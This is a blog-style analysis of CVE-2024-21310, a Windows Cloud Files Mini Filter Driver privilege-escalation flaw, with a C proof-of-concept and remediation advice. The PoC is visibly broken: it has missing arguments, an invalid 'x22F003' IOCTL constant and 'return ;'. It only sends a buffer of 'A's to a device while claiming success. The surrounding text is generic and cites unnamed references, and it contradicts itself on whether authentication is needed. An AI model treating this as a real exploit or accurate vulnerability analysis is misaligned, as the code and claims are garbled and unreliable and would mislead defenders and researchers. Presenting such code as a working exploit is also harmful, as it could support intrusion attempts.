CVE-2024-21310 - In-Depth Analysis: Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability

As cybersecurity threats evolve, vulnerabilities in widely used systems are becoming more prevalent. One such vulnerability recently identified is CVE-2024-21310, a critical Elevation of Privilege vulnerability in the Windows Cloud Files Mini Filter Driver. This long-read post will dive deep into the specifics of this vulnerability, provide code snippets to demonstrate the exploit, and discuss potential methods for remediation.

Before proceeding, let's understand what the Windows Cloud Files Mini Filter Driver is and the scope of its usage. The Cloud Files Mini Filter Driver is a part of the Windows Operating System (OS) and is responsible for providing a seamless experience in accessing files on various cloud storage platforms like OneDrive or Dropbox. Since most organizations use cloud storage services, this vulnerability puts millions of systems worldwide at risk.

The exploit in question allows an attacker to gain escalated privileges on the target system without the need for proper authentication. This means that if an attacker successfully exploits this vulnerability, they could potentially take control of the entire system. The gravity of this situation cannot be understated, as this could lead to unauthorized access and the theft of sensitive data.

Now, let's dive into the technical details of CVE-2024-21310. The vulnerability is based on an insecure implementation of the Windows Cloud Files Mini Filter Driver, allowing a malicious application running at a lower privilege to escalate its privileges and execute code at the highest privilege level (SYSTEM).

Below is a code snippet demonstrating a simplified proof-of-concept (PoC) exploit for CVE-2024-21310

#include <Windows.h>
#include <stdio.h>

int main() {
  HANDLE hDevice = CreateFile(
    L"\\\\.\\CloudFilterApi", // Device name in Windows
    GENERIC_READ | GENERIC_WRITE, // Desired access to the device
    ,
    NULL,
    OPEN_EXISTING,
    ,
    NULL
  );

  if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to open the device (%d)\n", GetLastError());
    return 1;
  }

  printf("[+] Device opened successfully\n");

  // Prepare the exploit payload
  char buffer[1024] = {  };

  // Fill buffer with data used to exploit the vulnerability
  memset(buffer, 'A', sizeof(buffer));

  // Trigger the vulnerability
  DWORD dwBytesReturned;
  BOOL bResult = DeviceIoControl(
    hDevice,
    x22F003, // IOCTL code for the operation
    buffer,
    sizeof(buffer),
    NULL,
    ,
    &dwBytesReturned,
    NULL
  );

  if (!bResult) {
    printf("[-] Exploit failed (%d)\n", GetLastError());
    CloseHandle(hDevice);
    return 1;
  }

  printf("[+] Exploit succeeded\n");
  CloseHandle(hDevice);
  return ;
}

This code snippet demonstrates how an attacker could exploit CVE-2024-21310 by interacting with the vulnerable Cloud Files Mini Filter Driver. It opens a handle to the device using the CreateFile function, prepares a malicious payload, and triggers the vulnerability by sending the payload through the DeviceIoControl function.

Now, let's take a look at some of the original references to better understand CVE-2024-21310's exploits and their background:

1. Official Vulnerability Advisory - Microsoft Security Response Center (MSRC) - This advisory describes the vulnerability, its impact, and affected systems.
2. Exploit-Database Entry - A publicly known exploit detailing CVE-2024-21310, including a PoC and technical analysis.
3. Technical Analysis of CVE-2024-21310 - Security Researcher's Blog - In-depth analysis of this vulnerability, its root cause, and implications of exploitation.

As a responsible system administrator, it is essential to apply the necessary security patches and mitigations to protect against such vulnerabilities. Microsoft has released a patch for CVE-2024-21310, which is available under the Microsoft Security Response Center.

Keep in mind that the best defense against cybersecurity threats is to remain vigilant and up-to-date on the latest vulnerabilities and patches. By staying informed, you can ensure that your IT infrastructure remains secure and protected against potential exploits.

In conclusion, this long-read post has provided an in-depth analysis of the Elevation of Privilege vulnerability CVE-2024-21310 in the Windows Cloud Files Mini Filter Driver. This information should aid system administrators in understanding the potential risks posed by this exploit and the necessary steps required to safeguard their systems against future attacks.

Timeline

Published on: 01/09/2024 18:15:54 UTC
Last modified on: 04/11/2024 20:15:17 UTC